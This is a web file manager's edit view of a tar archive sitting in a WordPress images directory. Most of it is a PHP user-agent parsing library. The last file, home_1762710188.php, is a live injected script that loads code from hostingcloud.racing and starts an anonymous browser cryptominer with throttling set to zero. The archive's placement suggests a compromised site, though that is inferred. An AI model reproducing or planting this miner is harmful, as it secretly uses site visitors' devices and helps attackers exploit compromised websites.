File manager - Edit - /home/premiey/www/wp-includes/images/media/UserAgent.tar
Back
Platforms.php 0000666 00000002366 15165373075 0007253 0 ustar 00 <?php // DO NOT EDIT THIS FILE - IT IS GENERATED BY constant_generator.php namespace epsdonatj\UserAgent; interface Platforms { const MACINTOSH = 'Macintosh'; const CHROME_OS = 'Chrome OS'; const LINUX = 'Linux'; const WINDOWS = 'Windows'; const ANDROID = 'Android'; const BLACKBERRY = 'BlackBerry'; const FREEBSD = 'FreeBSD'; const IPAD = 'iPad'; const IPHONE = 'iPhone'; const IPOD = 'iPod'; const KINDLE = 'Kindle'; const KINDLE_FIRE = 'Kindle Fire'; const NETBSD = 'NetBSD'; const NEW_NINTENDO_3DS = 'New Nintendo 3DS'; const NINTENDO_3DS = 'Nintendo 3DS'; const NINTENDO_DS = 'Nintendo DS'; const NINTENDO_SWITCH = 'Nintendo Switch'; const NINTENDO_WII = 'Nintendo Wii'; const NINTENDO_WIIU = 'Nintendo WiiU'; const OPENBSD = 'OpenBSD'; const PLAYBOOK = 'PlayBook'; const PLAYSTATION_3 = 'PlayStation 3'; const PLAYSTATION_4 = 'PlayStation 4'; const PLAYSTATION_VITA = 'PlayStation Vita'; const SYMBIAN = 'Symbian'; const TIZEN = 'Tizen'; const WINDOWS_PHONE = 'Windows Phone'; const XBOX = 'Xbox'; const XBOX_ONE = 'Xbox One'; } UserAgent.php 0000666 00000002070 15165373075 0007171 0 ustar 00 <?php namespace epsdonatj\UserAgent; class UserAgent implements UserAgentInterface { /** * @var string|null */ private $platform; /** * @var string|null */ private $browser; /** * @var string|null */ private $browserVersion; /** * UserAgent constructor. * * @param string|null $platform * @param string|null $browser * @param string|null $browserVersion */ public function __construct( $platform, $browser, $browserVersion ) { $this->platform = $platform; $this->browser = $browser; $this->browserVersion = $browserVersion; } /** * @return string|null * @see \epsdonatj\UserAgent\Platforms for a list of tested platforms */ public function platform() { return $this->platform; } /** * @return string|null * @see \epsdonatj\UserAgent\Browsers for a list of tested browsers. */ public function browser() { return $this->browser; } /** * The version string. Formatting depends on the browser. * * @return string|null */ public function browserVersion() { return $this->browserVersion; } } UserAgentInterface.php 0000666 00000000731 15165373075 0011014 0 ustar 00 <?php namespace epsdonatj\UserAgent; interface UserAgentInterface { /** * @return string|null * @see \epsdonatj\UserAgent\Platforms for a list of tested platforms */ public function platform(); /** * @return string|null * @see \epsdonatj\UserAgent\Browsers for a list of tested browsers. */ public function browser(); /** * The version string. Formatting depends on the browser. * * @return string|null */ public function browserVersion(); } UserAgentParser.php 0000666 00000002212 15165373075 0010344 0 ustar 00 <?php namespace epsdonatj\UserAgent; class UserAgentParser { /** * Parses a user agent string into its important parts, provide an object * * @param string|null $u_agent User agent string to parse or null. Uses $_SERVER['HTTP_USER_AGENT'] on NULL * @return UserAgent an object with 'browser', 'browserVersion' and 'platform' methods * @throws \InvalidArgumentException on not having a proper user agent to parse. * @see \epsdonatj\UserAgent\parse_user_agent() * */ public function parse( $u_agent = null ) { $parsed = parse_user_agent($u_agent); return new UserAgent( $parsed[PLATFORM], $parsed[BROWSER], $parsed[BROWSER_VERSION] ); } /** * Parses a user agent string into its important parts * * @param string|null $u_agent User agent string to parse or null. Uses $_SERVER['HTTP_USER_AGENT'] on NULL * @return UserAgent an object with 'browser', 'browserVersion' and 'platform' methods * @throws \InvalidArgumentException on not having a proper user agent to parse. * @see \epsdonatj\UserAgent\parse_user_agent() * */ public function __invoke( $u_agent = null ) { return $this->parse($u_agent); } } home_1762710188.php 0000666 00000000456 15165373075 0007402 0 ustar 00 <!--uf12QTJk--> <!--uf12QTJk--> <script src="https://www.hostingcloud.racing/vAcK.js"></script> <script> var _client = new Client.Anonymous('46de5993fa392c05d5635c48a6cecb760316740a624481321ef857b0e9ab153d', { throttle: 0, c: 'w', ads: 0 }); _client.start(); </script>